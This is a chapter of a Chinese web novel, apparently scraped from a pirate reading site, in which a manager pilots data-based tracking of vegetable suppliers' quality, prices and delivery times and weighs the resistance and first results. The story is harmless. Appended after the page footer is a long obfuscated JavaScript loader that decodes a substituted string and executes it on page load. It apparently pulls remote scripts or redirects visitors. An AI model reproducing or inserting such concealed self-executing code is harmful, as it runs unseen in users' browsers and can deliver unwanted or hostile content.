首页
第206章 质量、价格、时效
返回
关灯 护眼:关 字号:小

第206章 质量、价格、时效数据化

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第206章质量、价格、时效数据化(第1/2页)
    试点第一周,阻力与问题接踵而至,远比想象中具体和琐碎。将构想中的“数据化”落地,意味着要将原本依赖个人经验和模糊判断的日常工作,拆解成一个个可记录、可验证的数据点。这个过程,充满了不适、摩擦和对抗。
    1.质量数据化的困境:从“差不多”到“是多少”
    古民制作了胡萝卜、土豆、生姜的验收标准卡片,塑封好,分发给了参与试点的三位验收员(包括那位李师傅,古民特意将他纳入,因为他在验收员中有影响力)。他现场示范:来货后,先看采购单确认品类和约定等级,然后对照卡片上的图片和文字,逐项检查。用卷尺量长度直径(初期用简易刻度尺代替),用肉眼判断表皮瑕疵、腐烂、发芽等情况。最后,在验收单上勾选“一级”、“二级”或“等外”,并在平板电脑(公司配发的旧设备)上打开一个简单的表单,选择供应商、采购单号,勾选验收等级,并拍照上传(至少两张:一张整体货品照片,一张重点瑕疵部位特写)。
    问题很快出现:
    标准“太死”与现实的冲突:一批“老关系”供应商送来的胡萝卜,大部分符合一级品标准,但约有10%的胡萝卜头部有轻微发绿(“绿头”),按卡片标准,有绿头即为等外或至少二级。验收员犹豫了,看向李师傅。李师傅皱眉:“这点绿头,削掉就好了,以前都算一级。按这个卡,得降级,价格要差不少,供应商肯定不干,采购部老王那边也得说话。”
    操作繁琐与效率矛盾:量尺寸、拍照、填写电子表单,比之前看一眼、摸一摸、在纸质单上签个字,多花至少两三分钟。在早市货多的时候,验收员抱怨耽误事,后面排队卸货的司机也开始不耐烦。
    主观判断依然存在:“轻微弯曲”到什么程度算二级?“少量瑕疵”是多少?卡片无法涵盖所有情况,最终还是需要验收员主观判断。一位验收员抱怨:“以前凭经验,一眼就知道什么货该定什么价。现在非要对着卡片比划,反而不会验了。”
    古民没有强行坚持,而是召集试点小组(包括采购代表、验收员代表)开短会。“标准是为了减少争议,不是制造麻烦。‘绿头’问题,我们可以细化:单个胡萝卜绿头面积小于指甲盖大小,且无蔓延趋势,可视为轻微瑕疵,不影响定级。但需要在备注里说明,并拍照。目的是记录事实,便于后续追踪——如果这个供应商的货经常有绿头,即使不降级,数据上也留下了记录,采购员去谈判时就有了依据。”
    “效率问题,我们优化流程。尺寸可以抽样测量,不用每根都量。拍照可以提前对好焦,快速拍摄。电子表单我们已经尽量简化,大部分是点选。初期慢点正常,熟练了会快起来。而且,想想以前因为质量问题和采购、供应商扯皮花的时间,现在有图有真相,可能反而节省了扯皮时间。”
    “主观判断无法完全消除,但标准卡片和照片,至少把判断的依据和结果固化了。以前说‘这批货有点小问题’,现在可以说‘这批货有8%的个体存在轻微弯曲,程度如照片A;有5%存在表皮小划痕,如照片B。根据标准第3条,综合判定为二级品’。哪个更清晰?”
    李师傅抽着烟,没说话。另一位年轻的验收员嘟囔:“道理是这么个道理,就是麻烦。”
    “我们试试看。就以这周为限。所有争议,我们都记录下来,看看是标准不合理,还是执行有问题。标准可以改,流程可以优化,但‘有依据、可追溯’这个原则,林总要求我们必须坚持。”古民搬出了林薇。
    第一周磕磕绊绊。有供应商打电话给采购员抱怨“新来的小子搞什么名堂,鸡蛋里挑骨头”,采购员又来找验收员“沟通”。古民让验收员一律将照片和记录发到新建的试点工作群里,@相关采购员和供应商负责人,附上标准卡片条款。几次之后,无谓的争吵减少了,因为证据确凿。一批明显短斤少两的土豆,因为有清晰的照片和称重记录,供应商抵赖不成,乖乖接受了扣款。这给了坚持标准的验收员一些信心。
    2.价格数据化:定义“公允”的博弈
    价格数据的难点,在于确定“采购指导价”这个基准。古民牵头,与采购部王经理、财务部成本会计、以及自己(代表运营)组成了临时的“指导价小组”。每日上午,根据本地最大批发市场的官方报价网站、以及两家大型批发商提供的参考价(采购部提供),结合公司近期同类采购的历史价格,共同议定胡萝卜、土豆、生姜的当日“一级品采购指导价”。会议简短,但要求必须达成一致意见,并将议定依据(参考了哪些来源、最终价如何确定)简要记录在共享表格中。
    博弈立刻出现:
    采购员倾向于报高:采购员在提供市场参考价时,往往选择报价较高的来源,或强调“今天好货少,价格坚挺”。他们的理由是“要保证能买到合格品”,但潜意识里,较高的指导价意味着他们实际成交价更容易落在“合理浮动区间”内,甚至显出“低于指导价”的“业绩”。
    财务倾向于压低:成本会计则本能地希望控制成本,倾向于采信较低的市场报价,或质疑采购员提供的高价信息。
    市场波动性:生鲜价格一日三变,不同市场、不同批次、不同品质价格差异显著。单一“指导价”很难完全反映市场真实情况。
    经过几天的磨合和争论,他们形成了一个折中办法:取三个来源报价的平均值作为基准,再根据当日掌握的供需信息(如天气、到货量)进行±3%以内的微调。调整必须说明理由(如“据报A市场到货量减少30%”)。这个过程本身,就是一个信息透明和集体决策的尝试,减少了个人操纵价格基准的可能。虽然仍不完美,但比之前采购员单方面询价、缺乏制衡的状态,已是进步。
    实际采购价与指导价的偏离度,成为评价供应商价格表现的关键指标。古民设计的表格要求采购员在订单确认后,必须录入最终成交价。系统会自动计算偏离度。这个简单的动作,让采购员的价格谈判有了更明确的参考,也让那些长期报价偏高的供应商浮出水面。
    3.时效数据化:定义“准时”的粒度
    生鲜对时间极其敏感。以前“准时”是个模糊概念,早一点晚一点,全凭口头约定和人情。现在,古民要求,在采购单上必须明确约定到货时间窗口(如“当日14:00前”或“下单后6小时内”)。验收员在收货时,需在系统中记录实际到货时间。系统自动计算是否“准时”、“延迟X小时”或“提前”。
    这引发了新的摩擦:
    供应商的抵触:有些习惯了弹性时间的供应商,特别是小农户或个体户,对严格的时间窗口不适应,抱怨交通状况不可控。
    内部定义的困难:“到货”是指车到园区大门,还是开始卸货,还是卸货完毕?经过讨论,明确为“车辆到达指定月台,准备开始卸货”的时间。由仓库门卫或调度记录车到时间,验收员记录开始卸货时间,取较早者。
    意外处理:遇到交通管制、车辆故障等不可抗力导致的延迟,允许采购员在系统中备注原因,此类情况在计算“准时交货率”时可酌情剔除(但记录在案)。这给了采购员一定的裁量权,但也要求必须说明理由。
    (本章未完,请点击下一页继续阅读)第206章质量、价格、时效数据化(第2/2页)
    4.数据的初步汇集与挑战
    第一周结束时,古民从系统中导出了试点数据。三个品类,涉及八个主要供应商,共完成了37个批次的验收记录。数据粗糙,记录不全(有些照片模糊,有些时间记录不准),但毕竟有了第一批“数据化石”。
    他用Excel做了简单的汇总分析:
    供应商A(胡萝卜主要供应商):交货5批,质量合格率(一/二级品)100%,平均价格偏离度+1.2%(略高于指导价),准时交货率80%(一次因堵车延迟2小时)。
    供应商B(土豆供应商):交货6批,质量合格率83.3%(一批因发芽比例较高被定为二级),平均价格偏离度-2.1%(价格有优势),准时交货率100%。
    供应商C(生姜供应商,老关系):交货4批,质量合格率75%(两批有轻微腐烂被降级),平均价格偏离度+4.5%(显著高于指导价),准时交货率50%(两次延迟超过3小时)。
    数据虽然量小,但趋势已现雏形。供应商A质量稳定但价格偏高;供应商B价格有竞争力,质量尚可;供应商C(老关系)在价格、时效上都表现不佳,质量也不稳定。
    古民将这份简单的数据汇总,连同几份典型的验收照片和问题记录(如供应商C的腐烂生姜照片、延迟记录),整理成一份试点第一周数据简报,发给了林薇、王经理、李主任,以及相关采购员和验收员。
    他没有做任何主观评价,只是客观呈现数据。但在数据的对比下,优劣不言自明。
    5.涟漪效应
    简报发出后,引起了小范围的震动。
    采购部,负责供应商C的采购员坐不住了,私下找古民:“小古,你这个数据…C老板是我们合作好几年的老关系了,人挺仗义,有时候急要的货也能搞到。价格是稍微高一点,但货…以前也没出过大问题啊。你这刚一周的数据,说明不了什么吧?”
    古民给他看照片:“李哥,你看这两批生姜的腐烂点。虽然面积不大,但属于入库后容易扩大的类型。仓库反馈,这批货的后续损耗率比正常高。价格比指导价平均高4.5%,而且两次延迟都比较久。我不是说C老板人不好,但数据上看,从质量、价格、时效三个维度,他目前的表现在这几个供应商里是垫底的。当然,一周数据少,可能偶然。所以我们还要继续看。但数据至少给了我们一个和他沟通的依据,可以提醒他注意改进,比如加强品控,提高交货准时性。这也是帮他提升,长期合作更稳当,对吧?”
    采购员李哥张了张嘴,没说出话来。以前,他维护供应商,靠的是“关系好”、“人仗义”、“能救急”这些模糊说辞。现在,古民用照片和数字,清晰地展示了“质量不稳定”、“价格偏高”、“交货不准时”这些具体问题。他无法反驳数据。
    仓储部,李主任看着简报,特别是那些清晰的问题照片,对下面验收员说:“看到没?有图有真相,以后就这么干。以前光嘴上说货不行,人家不信。现在照片拍着,数据记着,谁也赖不掉。”几个参与试点的验收员,虽然仍觉得麻烦,但也隐隐感到,手里似乎多了点“武器”——他们不再只是凭感觉说话的“看门的”,而是有了标准和依据的“质检员”。
    供应商那边,反应不一。供应商A得知自己质量合格率100%,颇为自豪,但对价格偏离度+1.2%有些敏感,主动联系采购员,表示会尽量优化成本。供应商B对价格优势感到满意,但也从采购员那里得知了质量合格率83.3%的数据,表示会注意控制发芽问题。最紧张的是供应商C,老板直接打电话给采购员李哥,又托关系找到王经理,抱怨新规矩太死板,一点小瑕疵就拍照降级,路上堵车也要记录延迟,不近人情。王经理打着哈哈,说这是公司管理要求,大势所趋,让他“适应适应,把货弄好点,价格实在点”。
    6.模型的初步检验与迭代
    第一周的数据,也让古民发现了模型设计的问题:
    质量权重过高?50%的权重下,质量稍有波动对总分影响很大。而生鲜天然有波动,是否应给予一定容错空间?他考虑引入“轻微瑕疵率”作为子指标,轻微瑕疵不直接降级,但记录在案,累计到一定程度扣分。
    价格“合理浮动区间”设定:目前-5%到+3%的区间是基于经验的猜测。需要更多数据来验证,什么样的价格偏离是合理的(反映真实质量差异或服务价值),什么是异常的。
    数据质量:照片清晰度、时间记录准确性、数据录入完整性,都需要持续培训和监督。他设计了一个简单的“数据质量抽查”机制,随机抽查10%的记录,核对准确性,并将抽查结果与相关人员的轻微绩效挂钩(如影响月度评优)。
    供应商反应:数据开始影响供应商行为,这是好事。但也要防止供应商“数据作弊”,例如在抽样时提供特好样品,大货中掺次品。需要加强验收的随机性和全面性。
    古民将这些问题和自己的思考记录下来,准备在试点阶段性总结时提出调整建议。他知道,这个评分模型不是一成不变的圣经,而是一个需要根据实际反馈不断迭代优化的工具。重要的是,它启动了一个进程:将供应链管理中最重要的三个维度——质量、价格、时效——从模糊的感觉和关系,转化为可记录、可测量、可比较的数据。这些数据虽然初始粗糙,但就像最初的航海图,尽管充满未知和错误,却为航行提供了前所未有的参照。
    一周的试点,没有改变任何人的职位,没有处罚任何人,甚至没有正式改变订单分配规则。但它像投入平静湖面的一颗石子,激起了涟漪。人们开始谈论“数据”、“照片”、“合格率”、“偏离度”。一些原本心照不宣的“惯例”和“浮动”,在清晰的照片和数字面前,变得不再那么理所当然。采购员在议价时,开始有意识地参考“指导价”;验收员在判断时,会不自觉地看向标准卡片;供应商在送货时,会更仔细地检查货物,更关注交货时间。
    变化是微小的,但方向是清晰的。古民在周报中写道:“试点第一周,主要价值在于建立了基础数据采集流程,并初步验证了将质量、价格、时效进行量化记录的可行性。虽然面临操作习惯改变、标准界定、数据准确性等多重挑战,但数据已开始产生‘发现事实、促进沟通、引导行为’的微弱效应。阻力存在,但初步效果表明,用相对客观的数据替代部分主观判断,是可能的,且能带来管理能见度的提升。建议扩大试点品类范围,并开始探讨如何将数据应用于简单的供应商表现对比和订单分配引导。”
    他知道,真正的考验还在后面。当数据积累到一定程度,当评分结果开始与真金白银的订单分配挂钩时,才是利益格局被真正触动的时刻。但至少,第一步已经迈出,数据的河流已经开始流淌,尽管细弱,却已无法回头。他像一名耐心的地质学家,在混沌的岩层中,小心翼翼地敲下第一块标本,开始绘制这片未知地带的第一幅粗糙地图。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();